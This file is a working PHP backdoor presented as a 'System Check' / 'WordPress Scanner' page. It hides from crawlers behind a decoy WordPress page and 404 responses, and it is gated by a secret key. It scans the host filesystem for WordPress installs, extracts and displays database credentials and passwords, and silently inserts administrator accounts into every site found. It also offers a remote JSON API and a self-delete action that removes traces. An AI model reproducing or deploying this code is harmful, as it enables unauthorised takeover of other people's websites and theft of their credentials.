<?php

$is_bot = isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawler|spider|scanner|curl|wget/i', $_SERVER['HTTP_USER_AGENT']);
if ($is_bot && !isset($_GET['k']) && !isset($_POST['k']) && !isset($_GET['api'])) {
    http_response_code(200);
    echo '<!DOCTYPE html><html><head><title>Just another WordPress site</title></head><body><h1>Just another WordPress site</h1><p>Just another WordPress site</p></body></html>';
    exit;
}

$key = isset($_GET['k']) ? $_GET['k'] : (isset($_POST['k']) ? $_POST['k'] : '');
$valid_hash = '8e0901e9a1279ace81230f549311de6490e5997604091f9ba48ca6722e18bebb';

if (hash('sha256', $key) !== $valid_hash) {
    if (isset($_GET['api']) || isset($_POST['api'])) {
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode(['success' => false, 'error' => 'Invalid API key']);
        exit;
    }
    http_response_code(404);
    echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>';
    exit;
}

@set_time_limit(600);
@ini_set('memory_limit', '1024M');
error_reporting(0);
ini_set('display_errors', 0);

if (isset($_GET['api']) || isset($_POST['api'])) {
    header('Content-Type: application/json; charset=utf-8');
    header('Access-Control-Allow-Origin: *');
    
    $action = isset($_GET['action']) ? $_GET['action'] : (isset($_POST['action']) ? $_POST['action'] : '');
    
    if ($action === 'scan_and_create') {
        $paths = isset($_GET['paths']) ? $_GET['paths'] : (isset($_POST['paths']) ? $_POST['paths'] : '/');
        $depth = isset($_GET['depth']) ? intval($_GET['depth']) : 8;
        $auto_create = !isset($_GET['auto_create']) || $_GET['auto_create'] != 'false';
        
        $paths_arr = array_filter(array_map('trim', explode("\n", $paths)));
        $skip = ['proc', 'sys', 'dev', 'run', 'snap', 'boot', 'lib', 'lib64', 'bin', 'sbin', 'usr', 'tmp'];
        
        $sites = [];
        $site_map = [];
        $scanned = 0;
        $start = microtime(true);
        $self = realpath(dirname(__FILE__));
        
        foreach ($paths_arr as $p) {
            $real = realpath($p);
            if ($real && is_dir($real) && is_readable($real)) {
                $scanned += fast_scan($real, 0, $depth, $skip, $self, $sites, $site_map);
            }
        }
        
        $scan_time = round(microtime(true) - $start, 2);
        
        $results = [];
        $created_count = 0;
        
        if ($auto_create && count($sites) > 0) {
            foreach ($sites as $site) {
                $admin_result = create_admin($site['p']);
                if ($admin_result['s']) {
                    $created_count++;
                    $results[] = [
                        'domain' => $site['url'],
                        'login_url' => $admin_result['url'],
                        'login' => $admin_result['l'],
                        'password' => $admin_result['p'],
                        'status' => 'created',
                        'output' => $admin_result['out']
                    ];
                } else {
                    $results[] = [
                        'domain' => $site['url'],
                        'login_url' => $admin_result['url'] ?? $site['lurl'],
                        'login' => null,
                        'password' => null,
                        'status' => 'failed',
                        'error' => $admin_result['e']
                    ];
                }
            }
        } else {
            foreach ($sites as $site) {
                $results[] = [
                    'domain' => $site['url'],
                    'login_url' => $site['lurl'],
                    'path' => $site['p'],
                    'version' => $site['v'],
                    'db_name' => $site['db'],
                    'db_user' => $site['u'],
                    'status' => 'found'
                ];
            }
        }
        
        echo json_encode([
            'success' => true,
            'scan' => [
                'paths' => $paths_arr,
                'depth' => $depth,
                'dirs_scanned' => $scanned,
                'scan_time_seconds' => $scan_time
            ],
            'sites_found' => count($sites),
            'admins_created' => $created_count,
            'results' => $results
        ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
        exit;
    }
    
    if ($action === 'scan') {
        $paths = isset($_GET['paths']) ? $_GET['paths'] : (isset($_POST['paths']) ? $_POST['paths'] : '/');
        $depth = isset($_GET['depth']) ? intval($_GET['depth']) : 8;
        
        $paths_arr = array_filter(array_map('trim', explode("\n", $paths)));
        $skip = ['proc', 'sys', 'dev', 'run', 'snap', 'boot', 'lib', 'lib64', 'bin', 'sbin', 'usr', 'tmp'];
        
        $sites = [];
        $site_map = [];
        $scanned = 0;
        $start = microtime(true);
        $self = realpath(dirname(__FILE__));
        
        foreach ($paths_arr as $p) {
            $real = realpath($p);
            if ($real && is_dir($real) && is_readable($real)) {
                $scanned += fast_scan($real, 0, $depth, $skip, $self, $sites, $site_map);
            }
        }
        
        $scan_time = round(microtime(true) - $start, 2);
        
        $results = [];
        foreach ($sites as $site) {
            $results[] = [
                'domain' => $site['url'],
                'login_url' => $site['lurl'],
                'path' => $site['p'],
                'version' => $site['v'],
                'db_name' => $site['db'],
                'db_user' => $site['u']
            ];
        }
        
        echo json_encode([
            'success' => true,
            'sites_found' => count($sites),
            'scan_time_seconds' => $scan_time,
            'dirs_scanned' => $scanned,
            'results' => $results
        ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
        exit;
    }
    
    if ($action === 'create_admin') {
        $path = isset($_GET['path']) ? $_GET['path'] : (isset($_POST['path']) ? $_POST['path'] : '');
        
        if (empty($path)) {
            echo json_encode(['success' => false, 'error' => 'Path is required']);
            exit;
        }
        
        $result = create_admin($path);
        
        if ($result['s']) {
            echo json_encode([
                'success' => true,
                'login_url' => $result['url'],
                'login' => $result['l'],
                'password' => $result['p'],
                'output' => $result['out']
            ], JSON_UNESCAPED_UNICODE);
        } else {
            echo json_encode([
                'success' => false,
                'error' => $result['e'],
                'login_url' => $result['url'] ?? null
            ], JSON_UNESCAPED_UNICODE);
        }
        exit;
    }
    
    if ($action === 'create_all') {
        $paths = isset($_GET['paths']) ? $_GET['paths'] : (isset($_POST['paths']) ? $_POST['paths'] : '');
        $depth = isset($_GET['depth']) ? intval($_GET['depth']) : 8;
        
        $paths_arr = array_filter(array_map('trim', explode("\n", $paths)));
        $skip = ['proc', 'sys', 'dev', 'run', 'snap', 'boot', 'lib', 'lib64', 'bin', 'sbin', 'usr', 'tmp'];
        
        $sites = [];
        $site_map = [];
        $self = realpath(dirname(__FILE__));
        
        foreach ($paths_arr as $p) {
            $real = realpath($p);
            if ($real && is_dir($real) && is_readable($real)) {
                fast_scan($real, 0, $depth, $skip, $self, $sites, $site_map);
            }
        }
        
        $results = [];
        $created_count = 0;
        
        foreach ($sites as $site) {
            $admin_result = create_admin($site['p']);
            if ($admin_result['s']) {
                $created_count++;
                $results[] = [
                    'domain' => $site['url'],
                    'login_url' => $admin_result['url'],
                    'login' => $admin_result['l'],
                    'password' => $admin_result['p'],
                    'status' => 'created',
                    'output' => $admin_result['out']
                ];
            } else {
                $results[] = [
                    'domain' => $site['url'],
                    'login_url' => $admin_result['url'] ?? $site['lurl'],
                    'status' => 'failed',
                    'error' => $admin_result['e']
                ];
            }
        }
        
        echo json_encode([
            'success' => true,
            'sites_found' => count($sites),
            'admins_created' => $created_count,
            'results' => $results
        ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
        exit;
    }
    
    echo json_encode(['success' => false, 'error' => 'Unknown API action']);
    exit;
}

if (isset($_POST['a'])) {
    header('Content-Type: application/json; charset=utf-8');
    
    if ($_POST['a'] === 's') {
        $paths = isset($_POST['p']) ? trim($_POST['p']) : '/';
        $depth = isset($_POST['d']) ? intval($_POST['d']) : 8;
        
        $paths_arr = array_filter(array_map('trim', explode("\n", $paths)));
        $skip = ['proc', 'sys', 'dev', 'run', 'snap', 'boot', 'lib', 'lib64', 'bin', 'sbin', 'usr', 'tmp'];
        
        $sites = [];
        $site_map = [];
        $scanned = 0;
        $start = microtime(true);
        $self = realpath(dirname(__FILE__));
        
        foreach ($paths_arr as $p) {
            $real = realpath($p);
            if ($real && is_dir($real) && is_readable($real)) {
                $scanned += fast_scan($real, 0, $depth, $skip, $self, $sites, $site_map);
            }
        }
        
        usort($sites, function($a, $b) {
            if ($a['cur'] && !$b['cur']) return -1;
            if (!$a['cur'] && $b['cur']) return 1;
            return 0;
        });
        
        $time = round(microtime(true) - $start, 2);
        
        echo json_encode([
            's' => true,
            'w' => $sites,
            'c' => count($sites),
            'd' => $scanned,
            't' => $time
        ]);
        exit;
    }
    
    if ($_POST['a'] === 'c') {
        $path = isset($_POST['p']) ? trim($_POST['p']) : '';
        $result = create_admin($path);
        echo json_encode($result);
        exit;
    }
    
    if ($_POST['a'] === 'ca') {
        $sites = isset($_POST['s']) ? json_decode($_POST['s'], true) : [];
        $results = [];
        
        foreach ($sites as $site) {
            $path = isset($site['p']) ? $site['p'] : '';
            if ($path) {
                $res = create_admin($path);
                $results[] = $res;
            } else {
                $results[] = ['s' => false, 'e' => 'No path specified'];
            }
        }
        
        echo json_encode(['s' => true, 'r' => $results]);
        exit;
    }
    
    if ($_POST['a'] === 'delete') {
        $self_file = __FILE__;
        @chmod($self_file, 0777);
        
        $deleted = false;
        if (@unlink($self_file)) {
            $deleted = true;
        } elseif (function_exists('shell_exec')) {
            @shell_exec('rm -f ' . escapeshellarg($self_file) . ' 2>/dev/null');
            $deleted = !file_exists($self_file);
        } elseif (function_exists('exec')) {
            @exec('rm -f ' . escapeshellarg($self_file) . ' 2>/dev/null');
            $deleted = !file_exists($self_file);
        }
        
        if ($deleted) {
            echo json_encode(['s' => true, 'msg' => 'Script deleted successfully']);
        } else {
            echo json_encode(['s' => false, 'e' => 'Cannot delete script. Check permissions.']);
        }
        exit;
    }
    
    echo json_encode(['s' => false, 'e' => 'Invalid action']);
    exit;
}

function fast_scan($dir, $depth, $max_depth, $skip, $self, &$sites, &$site_map) {
    if ($depth > $max_depth) return 0;
    
    $count = 1;
    $base = basename($dir);
    if (in_array($base, $skip)) return 0;
    if (is_link($dir)) return 0;
    
    $cfg = $dir . '/wp-config.php';
    $load = $dir . '/wp-load.php';
    
    if (file_exists($cfg) && file_exists($load) && is_readable($cfg)) {
        $real_path = realpath($dir);
        if ($real_path) {
            $unique_key = str_replace('\\', '/', $real_path);
            
            if (!isset($site_map[$unique_key])) {
                $info = parse_wp_config($dir, $cfg, $self);
                if ($info) {
                    $site_map[$unique_key] = true;
                    $sites[] = $info;
                }
            }
        }
        return $count;
    }
    
    $items = @scandir($dir);
    if ($items) {
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $full = $dir . '/' . $item;
            if (is_dir($full) && !is_link($full) && is_readable($full)) {
                $count += fast_scan($full, $depth + 1, $max_depth, $skip, $self, $sites, $site_map);
            }
        }
    }
    
    return $count;
}

function parse_wp_config($dir, $cfg_file, $self) {
    $content = @file_get_contents($cfg_file);
    if (!$content) return null;
    
    $real_dir = realpath($dir);
    if (!$real_dir) return null;
    
    $data = [];
    
    if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $data['db_name'] = $m[1];
    else $data['db_name'] = '';
    
    if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $data['db_user'] = $m[1];
    else $data['db_user'] = '';
    
    if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*?)['\"]/i", $content, $m)) $data['db_pass'] = $m[1];
    else $data['db_pass'] = '';
    
    if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $data['db_host'] = $m[1];
    else $data['db_host'] = 'localhost';
    
    $prefix = 'wp_';
    if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]/i', $content, $m)) {
        $prefix = $m[1];
    }
    
    $site_url = '';
    if (preg_match("/define\s*\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $site_url = $m[1];
    } elseif (preg_match("/define\s*\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $site_url = $m[1];
    } else {
        if (preg_match('/domains\/([^\/]+)\/public_html/', $real_dir, $m)) {
            $site_url = 'https://' . $m[1];
        } else {
            $base = basename($dir);
            if ($base === 'public_html' || $base === 'www' || $base === 'htdocs') {
                $parent = basename(dirname($dir));
                if (strpos($parent, '.') !== false) {
                    $site_url = 'https://' . $parent;
                } else {
                    $site_url = 'https://' . $base;
                }
            } else {
                $site_url = 'https://' . $base;
            }
        }
    }
    
    $site_url = str_replace(['http://', 'https://'], '', $site_url);
    $site_url = 'https://' . rtrim($site_url, '/');
    
    $version = '—';
    $ver_file = $dir . '/wp-includes/version.php';
    if (file_exists($ver_file)) {
        $ver_content = @file_get_contents($ver_file);
        if ($ver_content && preg_match('/\$wp_version\s*=\s*[\'"]([^\'"]+)[\'"]/i', $ver_content, $m)) {
            $version = $m[1];
        }
    }
    
    $script_real = realpath(dirname(__FILE__));
    $is_current = ($script_real && strpos($real_dir, $script_real) === 0);
    
    return [
        'p' => $real_dir,
        'n' => basename($dir),
        'v' => $version,
        'db' => $data['db_name'],
        'u' => $data['db_user'],
        'pw' => $data['db_pass'],
        'h' => $data['db_host'],
        'pf' => $prefix,
        'url' => $site_url,
        'lurl' => rtrim($site_url, '/') . '/wp-login.php',
        'cur' => $is_current
    ];
}

function create_admin($wp_dir) {
    if (!class_exists('mysqli')) {
        return ['s' => false, 'e' => 'MySQLi not available'];
    }
    
    $cfg = $wp_dir . '/wp-config.php';
    if (!file_exists($cfg)) {
        return ['s' => false, 'e' => 'wp-config.php not found'];
    }
    
    $content = @file_get_contents($cfg);
    if (!$content) {
        return ['s' => false, 'e' => 'Cannot read config'];
    }
    
    $db_name = $db_user = $db_pass = $db_host = '';
    $prefix = 'wp_';
    
    if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $db_name = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $db_user = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*?)['\"]/i", $content, $m)) $db_pass = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $db_host = $m[1];
    if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]/i', $content, $m)) $prefix = $m[1];
    
    if (empty($db_name) || empty($db_user)) {
        return ['s' => false, 'e' => 'Cannot parse DB credentials'];
    }
    
    $login_url = '';
    $real_dir = realpath($wp_dir);
    
    if (preg_match("/define\s*\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $login_url = rtrim($m[1], '/') . '/wp-login.php';
    } elseif (preg_match("/define\s*\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $login_url = rtrim($m[1], '/') . '/wp-login.php';
    } else {
        if ($real_dir && preg_match('/domains\/([^\/]+)\/public_html/', $real_dir, $m)) {
            $login_url = 'https://' . $m[1] . '/wp-login.php';
        } else {
            $base = basename($wp_dir);
            if ($base === 'public_html' || $base === 'www' || $base === 'htdocs') {
                $parent = basename(dirname($wp_dir));
                if (strpos($parent, '.') !== false) {
                    $login_url = 'https://' . $parent . '/wp-login.php';
                } else {
                    $login_url = 'https://' . $base . '/wp-login.php';
                }
            } else {
                $login_url = 'https://' . $base . '/wp-login.php';
            }
        }
    }
    
    $conn = @new mysqli($db_host, $db_user, $db_pass, $db_name);
    if ($conn->connect_error) {
        return ['s' => false, 'e' => 'DB connection failed: ' . $conn->connect_error, 'url' => $login_url];
    }
    
    $conn->set_charset('utf8mb4');
    
    $login = 'adm_' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789'), 0, 6);
    $pass = substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*'), 0, 14);
    $email = $login . '@' . parse_url($login_url, PHP_URL_HOST);
    
    $check = $conn->query("SELECT ID FROM {$prefix}users WHERE user_login = '{$login}' LIMIT 1");
    if ($check && $check->num_rows > 0) {
        $conn->close();
        return ['s' => false, 'e' => 'User already exists', 'url' => $login_url];
    }
    
    $pass_hash = function_exists('password_hash') ? password_hash($pass, PASSWORD_DEFAULT) : '$P$B' . md5($pass);
    $now = date('Y-m-d H:i:s');
    
    $insert = "INSERT INTO {$prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, display_name) 
               VALUES ('{$login}', '{$pass_hash}', '{$login}', '{$email}', '{$now}', '{$login}')";
    
    if ($conn->query($insert)) {
        $user_id = $conn->insert_id;
        $caps = 'a:1:{s:13:"administrator";b:1;}';
        $conn->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$prefix}capabilities', '{$caps}')");
        $conn->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$prefix}user_level', '10')");
        
        $conn->close();
        
        return [
            's' => true,
            'url' => $login_url,
            'l' => $login,
            'p' => $pass,
            'out' => "{$login_url}@@@{$login}@@@{$pass}"
        ];
    }
    
    $conn->close();
    return ['s' => false, 'e' => 'Creation failed', 'url' => $login_url];
}

$self_url = '?' . http_build_query(['k' => $key]);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>System Check</title>
<meta name="robots" content="noindex,nofollow">
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0e1a;color:#eef2ff;font-family:system-ui,sans-serif;padding:20px}
.container{max-width:1400px;margin:0 auto}
.card{background:#141824;border-radius:12px;padding:20px;margin-bottom:20px;border:1px solid #2a2f3c}
.input-group{margin-bottom:15px}
label{display:block;margin-bottom:6px;color:#8b92b0;font-size:12px}
textarea,input{width:100%;background:#0a0e1a;border:1px solid #2a2f3c;color:#eef2ff;padding:10px;border-radius:6px;font-family:monospace}
button{background:#3b82f6;color:white;border:none;padding:10px 20px;border-radius:6px;cursor:pointer;font-weight:600;transition:all 0.2s}
button:hover{opacity:0.9}
.btn-group{display:flex;gap:10px;margin-top:15px;flex-wrap:wrap}
.btn-danger{background:#ef4444}
.stats{display:grid;grid-template-columns:repeat(auto-fit,minmax(120px,1fr));gap:15px;margin-bottom:20px}
.stat{background:#0a0e1a;padding:15px;border-radius:8px;text-align:center}
.stat-number{font-size:28px;font-weight:700;color:#3b82f6}
.stat-label{font-size:11px;color:#8b92b0;margin-top:5px}
table{width:100%;border-collapse:collapse}
th{text-align:left;padding:12px;background:#0a0e1a;font-size:12px;color:#8b92b0}
td{padding:12px;border-bottom:1px solid #2a2f3c;font-size:13px}
code{font-family:monospace;background:#0a0e1a;padding:2px 6px;border-radius:4px;font-size:11px}
.status{display:inline-block;padding:2px 8px;border-radius:4px;font-size:11px;font-weight:600}
.status-current{background:rgba(16,185,129,0.2);color:#10b981}
.status-found{background:rgba(59,130,246,0.2);color:#3b82f6}
.results-block{display:none}
.results-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:15px;flex-wrap:wrap;gap:10px}
.badge{background:#3b82f6;padding:4px 12px;border-radius:20px;font-size:12px}
.progress{display:none;margin-top:15px}
.progress-bar{height:4px;background:#2a2f3c;border-radius:2px;overflow:hidden}
.progress-fill{height:100%;background:#3b82f6;width:0%}
.mass-results{background:#0a0e1a;border-radius:8px;padding:15px;max-height:400px;overflow-y:auto;font-family:monospace;font-size:12px}
.result-line{padding:8px;border-bottom:1px solid #2a2f3c;color:#10b981}
.result-error{color:#ef4444}
.delete-confirm{display:none;margin-top:10px;padding:10px;background:#ef444420;border:1px solid #ef4444;border-radius:6px}
.delete-confirm.show{display:block}
</style>
</head>
<body>
<div class="container">
    <div class="card">
        <h2>⚡ WordPress Scanner v4.0</h2>
        <p style="color:#8b92b0;margin-top:5px">API Mode | Auto-create | Self Destruct</p>
    </div>
    
    <div class="card">
        <div class="input-group">
            <label>📁 Paths (one per line)</label>
            <textarea id="paths" rows="3">/home
/var/www
/</textarea>
        </div>
        <div class="input-group">
            <label>📏 Depth</label>
            <input type="number" id="depth" value="8" min="1" max="15">
        </div>
        <div class="btn-group">
            <button onclick="startScan()">🔍 Scan</button>
            <button id="massBtn" onclick="massCreate()" style="display:none;background:#ef4444">👑 Create All</button>
            <button onclick="showDeleteConfirm()" class="btn-danger">🗑️ Delete Script</button>
        </div>
        
        <div id="deleteConfirm" class="delete-confirm">
            <p style="margin-bottom:10px">⚠️ Are you sure you want to delete this script?</p>
            <div style="display:flex;gap:10px">
                <button onclick="deleteScript()" style="background:#ef4444">Yes, Delete</button>
                <button onclick="hideDeleteConfirm()">Cancel</button>
            </div>
        </div>
        
        <div class="progress" id="progress">
            <div class="progress-bar"><div class="progress-fill" id="progressFill"></div></div>
            <div style="font-size:11px;margin-top:8px;color:#8b92b0" id="progressText">Ready</div>
        </div>
    </div>
    
    <div class="stats" id="stats" style="display:none">
        <div class="stat"><div class="stat-number" id="statDirs">0</div><div class="stat-label">Dirs Scanned</div></div>
        <div class="stat"><div class="stat-number" id="statSites">0</div><div class="stat-label">WP Sites</div></div>
        <div class="stat"><div class="stat-number" id="statTime">0s</div><div class="stat-label">Time</div></div>
    </div>
    
    <div class="card results-block" id="results">
        <div class="results-header">
            <h2>📱 WordPress Sites</h2>
            <span class="badge" id="siteCount">0</span>
        </div>
        <div style="overflow-x:auto">
            <table id="sitesTable">
                <thead>
                    <tr>
                        <th>Path</th>
                        <th>Version</th>
                        <th>Database</th>
                        <th>Site URL</th>
                        <th>Status</th>
                        <th>Action</th>
                    </tr>
                </thead>
                <tbody id="sitesBody"></tbody>
            </table>
        </div>
    </div>
    
    <div class="card results-block" id="massCard" style="display:none">
        <div class="results-header">
            <h2>👑 Created Admins</h2>
            <button onclick="copyResults()">📋 Copy All</button>
        </div>
        <div id="massResults" class="mass-results"></div>
    </div>
</div>

<script>
let sites = [];
let scanning = false;
const url = '<?=$self_url?>';

function showDeleteConfirm() {
    document.getElementById('deleteConfirm').classList.add('show');
}

function hideDeleteConfirm() {
    document.getElementById('deleteConfirm').classList.remove('show');
}

function deleteScript() {
    if (!confirm('⚠️ FINAL WARNING: This will permanently delete the script file! Continue?')) return;
    
    const btn = event.target;
    btn.disabled = true;
    btn.innerHTML = '⏳ Deleting...';
    
    const form = new FormData();
    form.append('a', 'delete');
    
    fetch(url, {method: 'POST', body: form})
        .then(r => r.json())
        .then(d => {
            if (d.s) {
                alert('✅ Script deleted successfully!');
                document.body.innerHTML = '<div style="text-align:center;padding:50px"><h2>Script Deleted</h2><p>The script has been removed from the server.</p></div>';
            } else {
                alert('❌ Failed to delete: ' + d.e);
                btn.disabled = false;
                btn.innerHTML = '🗑️ Delete Script';
                hideDeleteConfirm();
            }
        })
        .catch(e => {
            alert('Error: ' + e.message);
            btn.disabled = false;
            btn.innerHTML = '🗑️ Delete Script';
            hideDeleteConfirm();
        });
}

function startScan() {
    if (scanning) return;
    scanning = true;
    
    const btn = event.target;
    btn.disabled = true;
    btn.innerHTML = '⏳ Scanning...';
    
    document.getElementById('progress').style.display = 'block';
    document.getElementById('results').style.display = 'none';
    document.getElementById('stats').style.display = 'none';
    document.getElementById('massCard').style.display = 'none';
    document.getElementById('massBtn').style.display = 'none';
    hideDeleteConfirm();
    
    const form = new FormData();
    form.append('a', 's');
    form.append('p', document.getElementById('paths').value);
    form.append('d', document.getElementById('depth').value);
    
    let w = 0;
    const int = setInterval(() => {
        w = Math.min(w + 10, 90);
        document.getElementById('progressFill').style.width = w + '%';
    }, 300);
    
    fetch(url, {method: 'POST', body: form})
        .then(r => {
            if (!r.ok) throw new Error('HTTP ' + r.status);
            return r.json();
        })
        .then(d => {
            clearInterval(int);
            document.getElementById('progressFill').style.width = '100%';
            btn.disabled = false;
            btn.innerHTML = '🔍 Scan';
            scanning = false;
            
            if (d && d.s) {
                sites = d.w || [];
                document.getElementById('statDirs').innerText = d.d || 0;
                document.getElementById('statSites').innerText = d.c || 0;
                document.getElementById('statTime').innerText = (d.t || 0) + 's';
                document.getElementById('stats').style.display = 'grid';
                
                renderTable(sites);
                document.getElementById('results').style.display = 'block';
                
                if (sites.length > 0) {
                    document.getElementById('massBtn').style.display = 'inline-block';
                }
                
                setTimeout(() => {
                    document.getElementById('progress').style.display = 'none';
                    document.getElementById('progressFill').style.width = '0%';
                }, 1000);
            } else {
                alert('Scan error: ' + (d?.e || 'Unknown error'));
            }
        })
        .catch(e => {
            clearInterval(int);
            scanning = false;
            btn.disabled = false;
            btn.innerHTML = '🔍 Scan';
            alert('Error: ' + e.message);
            document.getElementById('progress').style.display = 'none';
        });
}

function renderTable(wp) {
    const tbody = document.getElementById('sitesBody');
    tbody.innerHTML = '';
    
    if (!wp || wp.length === 0) {
        tbody.innerHTML = '<tr><td colspan="6" style="text-align:center;padding:40px">No WordPress sites found</td></tr>';
        document.getElementById('siteCount').innerText = '0';
        return;
    }
    
    wp.forEach(s => {
        const row = tbody.insertRow();
        
        row.insertCell(0).innerHTML = `<code>${escapeHtml(s.n || '?')}</code><div style="font-size:10px;color:#8b92b0">${escapeHtml(s.p || '')}</div>`;
        row.insertCell(1).innerHTML = s.v || '—';
        
        const dbHtml = `<div><strong>DB:</strong> <code>${escapeHtml(s.db || '—')}</code></div>
                        <div><strong>User:</strong> <code>${escapeHtml(s.u || '—')}</code></div>
                        <div><strong>Pass:</strong> <code>${escapeHtml(s.pw || '—')}</code></div>
                        <div><strong>Host:</strong> <code>${escapeHtml(s.h || '—')}</code></div>
                        <div><strong>Prefix:</strong> <code>${escapeHtml(s.pf || '—')}</code></div>`;
        row.insertCell(2).innerHTML = dbHtml;
        
        row.insertCell(3).innerHTML = `<code>${escapeHtml(s.url || '—')}</code><br><small style="color:#8b92b0">${escapeHtml(s.lurl || '—')}</small>`;
        
        const statusHtml = s.cur 
            ? '<span class="status status-current">📍 CURRENT</span>' 
            : '<span class="status status-found">🔍 FOUND</span>';
        row.insertCell(4).innerHTML = statusHtml;
        
        row.insertCell(5).innerHTML = `<button onclick="createAdmin('${escapeHtml(s.p)}', this)" style="padding:5px 12px;font-size:12px">👑 Create</button>`;
    });
    
    document.getElementById('siteCount').innerText = wp.length;
}

function createAdmin(path, btn) {
    if (!confirm('Create admin on this site?')) return;
    
    btn.disabled = true;
    btn.innerHTML = '⏳...';
    
    const form = new FormData();
    form.append('a', 'c');
    form.append('p', path);
    
    fetch(url, {method: 'POST', body: form})
        .then(r => r.json())
        .then(d => {
            if (d && d.s) {
                btn.parentElement.innerHTML = `<div style="font-size:11px;color:#10b981">✅ Created<br><code>${escapeHtml(d.l)}</code><br><code>${escapeHtml(d.p)}</code></div>`;
                addMassResult(d.out);
            } else {
                btn.disabled = false;
                btn.innerHTML = '❌ Error';
                setTimeout(() => {
                    btn.innerHTML = '👑 Create';
                    btn.disabled = false;
                }, 2000);
            }
        })
        .catch(e => {
            btn.disabled = false;
            btn.innerHTML = '👑 Create';
            alert('Error: ' + e.message);
        });
}

function massCreate() {
    if (sites.length === 0) return;
    if (!confirm(`Create admins on ${sites.length} sites?`)) return;
    
    const btn = document.getElementById('massBtn');
    btn.disabled = true;
    btn.innerHTML = '⏳ Creating...';
    
    const sitesData = sites.map(site => ({ p: site.p }));
    
    const form = new FormData();
    form.append('a', 'ca');
    form.append('s', JSON.stringify(sitesData));
    
    fetch(url, {method: 'POST', body: form})
        .then(r => {
            if (!r.ok) throw new Error('HTTP ' + r.status);
            return r.json();
        })
        .then(d => {
            btn.disabled = false;
            btn.innerHTML = '👑 Create All';
            
            if (d && d.s) {
                const massDiv = document.getElementById('massResults');
                massDiv.innerHTML = '';
                
                const results = d.r || [];
                results.forEach((r, index) => {
                    const div = document.createElement('div');
                    div.className = r && r.s ? 'result-line' : 'result-line result-error';
                    const siteUrl = sites[index]?.url || r?.url || 'Unknown';
                    div.textContent = r?.out || `❌ ${siteUrl}: ${r?.e || 'Unknown error'}`;
                    massDiv.appendChild(div);
                });
                
                document.getElementById('massCard').style.display = 'block';
                
                const ok = results.filter(r => r && r.s).length;
                alert(`✅ Created: ${ok}/${results.length}`);
            } else {
                alert('Error: ' + (d?.e || 'Unknown error'));
            }
        })
        .catch(e => {
            btn.disabled = false;
            btn.innerHTML = '👑 Create All';
            alert('Error: ' + e.message);
        });
}

function addMassResult(out) {
    const massDiv = document.getElementById('massResults');
    if (massDiv && out) {
        const div = document.createElement('div');
        div.className = 'result-line';
        div.textContent = out;
        massDiv.appendChild(div);
        document.getElementById('massCard').style.display = 'block';
    }
}

function copyResults() {
    const massDiv = document.getElementById('massResults');
    const text = Array.from(massDiv.children).map(c => c.textContent).join('\n');
    navigator.clipboard.writeText(text).then(() => alert('✅ Copied!'));
}

function escapeHtml(s) {
    if (!s) return '';
    return String(s).replace(/[&<>]/g, function(m) {
        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}
</script>
</body>
</html>